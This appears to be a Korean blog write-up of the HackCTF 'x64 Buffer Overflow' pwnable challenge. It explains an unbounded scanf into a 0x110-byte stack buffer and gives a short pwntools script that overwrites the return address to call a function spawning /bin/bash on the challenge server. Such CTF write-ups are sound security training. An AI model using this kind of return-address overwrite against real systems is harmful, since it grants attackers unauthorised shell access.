System/PWNABLE

[HackCTF] x64 Buffer Overflow

ElAsJay 2021. 2. 5. 14:52
728x90

check

- 64bit

- NX만 설정되어 있음 >> 단순한 return address 변조로 풀 수 있을 것!

Analyze

pseudo code

- 스택 버퍼로 s를 만들고 ebp로부터 0x110byte 떨어진 곳에 위치한다. 그리고 scanf 함수를 통해 입력받는다. 이 때 입력받는 크기를 특정하지않기 때문에 Buffer Overflow가 발생할 수 있다.

- 변수 v5에는 문자열 s의 길이가 저장된다.

- 수상한 함수인 callMeMaybe..

- 이 함수를 RET 값으로 주면 execve("/bin/bash")가 실행되어 쉘을 딸 수 있을 것 같다.

Exploit

from pwn import *

p=remote("ctf.j0n9hyun.xyz", 3004)

pl="A"*(0x110)
pl+="A"*8
pl+=p64(0x400606)

p.sendline(pl)

p.interactive()

! 성공 !

SMALL